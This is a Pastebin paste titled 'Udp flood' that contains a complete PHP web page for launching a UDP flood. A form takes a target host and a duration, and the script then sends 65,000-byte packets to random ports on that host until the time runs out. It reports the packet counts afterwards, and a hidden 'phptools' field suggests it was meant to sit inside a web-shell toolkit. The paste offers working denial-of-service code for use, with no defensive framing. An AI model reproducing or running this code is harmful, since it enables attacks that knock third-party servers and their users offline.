Advertisement
X-Grats

Udp flood

Oct 30th, 2023
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.72 KB | Cybersecurity | 0 0
  1. <html>
  2. <body>
  3. <font color="00FF00">
  4. <img src="http://epm.ch/0/logo.png" ALIGN=RIGHT>
  5. <STYLE>
  6. input{
  7. background-color: #1e8a1e; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  8. }
  9. button{
  10. background-color: #1e8a1e; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
  11. }
  12. body {
  13. background-color: black;
  14. }
  15. </style>
  16. <br>
  17. <p>
  18. <br>
  19. <p>
  20. <center>
  21. <?php
  22. //UDP
  23. if(isset($_GET['host'])&&isset($_GET['time'])){
  24. $packets = 0;
  25. ignore_user_abort(TRUE);
  26. set_time_limit(0);
  27.  
  28. $exec_time = $_GET['time'];
  29.  
  30. $time = time();
  31. //print "Started: ".time('d-m-y h:i:s')."<br>";
  32. $max_time = $time+$exec_time;
  33.  
  34. $host = $_GET['host'];
  35.  
  36. for($i=0;$i<65000;$i++){
  37. $out .= 'X';
  38. }
  39. while(1){
  40. $packets++;
  41. if(time() > $max_time){
  42. break;
  43. }
  44. $rand = rand(1,65000);
  45. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  46. if($fp){
  47. fwrite($fp, $out);
  48. fclose($fp);
  49. }
  50. }
  51. echo "<b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  52. echo '<br><br>
  53. <form action="'.$surl.'" method=GET>
  54. <input type="hidden" name="act" value="phptools">
  55. Host: <br><input type=text name=host><br>
  56. Length (seconds): <br><input type=text name=time><br>
  57. <input type=submit value=Go></form>';
  58. }else{ echo '<br><b>UDP Flood</b><br>
  59. <form action=? method=GET>
  60. <input type="hidden" name="act" value="phptools">
  61. Host: <br><input type=text name=host value=><br>
  62. Length (seconds): <br><input type=text name=time value=><br><br>
  63. <input type=submit value=Go></form>';
  64. }
  65. ?>
  66. </center>
  67. </body>
  68. </html>
Tags: flood
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement